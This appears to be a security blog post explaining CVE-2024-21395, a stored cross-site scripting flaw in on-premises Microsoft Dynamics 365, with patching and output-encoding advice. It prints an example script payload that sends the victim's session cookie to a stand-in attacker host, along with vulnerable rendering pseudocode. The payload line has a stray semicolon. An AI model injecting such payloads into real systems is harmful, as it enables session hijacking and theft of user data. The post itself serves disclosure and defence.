Microsoft Dynamics 365 is widely used by organizations to manage customer relationships, business processes, and extensive data. However, as with any complex software, vulnerabilities can arise, leading to serious security risks if left unpatched. One such recent vulnerability is CVE-2024-21395, which affects Microsoft Dynamics 365 (on-premises) and enables cross-site scripting (XSS) attacks.

This post breaks down CVE-2024-21395 in simple terms, explains how attackers can exploit it, and provides code samples to illustrate the threat. By the end, you’ll understand why it’s important to patch your systems and how XSS works in the context of business software.

What Is CVE-2024-21395?

CVE-2024-21395 is a cross-site scripting vulnerability in Microsoft Dynamics 365 (on-premises). If exploited, it allows an attacker to inject and execute malicious scripts on the browser of another user — usually with privileged access. This could, for example, let attackers steal session cookies, impersonate legitimate users, or spread further malware.

Microsoft’s advisory: MSRC CVE-2024-21395 | Microsoft Guidance

Affected versions:
Dynamics 365 (on-premises) versions up to v9.

How Does XSS Work in Dynamics 365?

In web applications, cross-site scripting (XSS) occurs when user-supplied data is improperly handled and rendered in the web pages without appropriate encoding or filtering. In Dynamics 365, this often involves input fields, custom entities, or other data displayed in dashboards and forms.

Attack Scenario

1. A user creates a malicious record (such as a customer note) in Dynamics 365 containing JavaScript code.

1. Locating a Vulnerable Field

The vulnerability can exist in any field where the data you enter is rendered back to users without sanitization. For illustration, let’s use a *Note* or *Description* field in a CRM record.

2. Crafting a Malicious Payload

Suppose an attacker creates a new Note and adds the following payload in the 'Title' or 'Description':

<script>
  // Send session cookie to attacker’s server
  fetch('https://evil-attacker.com/steal?cookie='; + document.cookie);
</script>

Or the classic pop-up for demonstration

<script>alert('XSS in Dynamics 365!');</script>

3. Saving & Triggering the Payload

The attacker saves the record. When another user or admin opens this record, the unfiltered field is loaded into the page and the script executes in the browser context of that user.

Let’s imagine the following simplified case with vulnerable rendering in the backend

// .NET pseudocode for rendering user data
public string GetNoteDescription(int noteId)
{
    var note = db.Notes.Find(noteId);
    // VULNERABLE: Directly outputting user data with no encoding
    return $"<div>{note.Description}</div>";
}

In this example, any HTML or JavaScript entered in the Description is rendered as-is. An attacker can inject script tags, leading directly to XSS.

Microsoft’s Recommendation

Microsoft has released security updates to address this vulnerability. Patch your on-premises Dynamics 365 environments immediately.

- Official Update: Microsoft Update Guide for CVE-2024-21395

Always encode output when displaying user-supplied data in web pages.

- Use established encoding libraries (such as AntiXSS for .NET).

Validate input where possible, especially for fields not intended to contain HTML.

### Admin/IT Guidance

References & Further Reading

- Microsoft Security Advisory for CVE-2024-21395
- OWASP XSS Cheat Sheet
- What is Cross-Site Scripting? (OWASP)

Final Thoughts

CVE-2024-21395 is a wake-up call for organizations that use Dynamics 365 (on-premises). XSS isn’t just a developer’s concern—it can impact business integrity, leak sensitive data, and compromise full user sessions. Don’t assume your CRM is immune. Patch now, review your code and customizations, and stay vigilant!

Timeline

Published on: 02/13/2024 18:15:57 UTC
Last modified on: 02/23/2024 17:41:14 UTC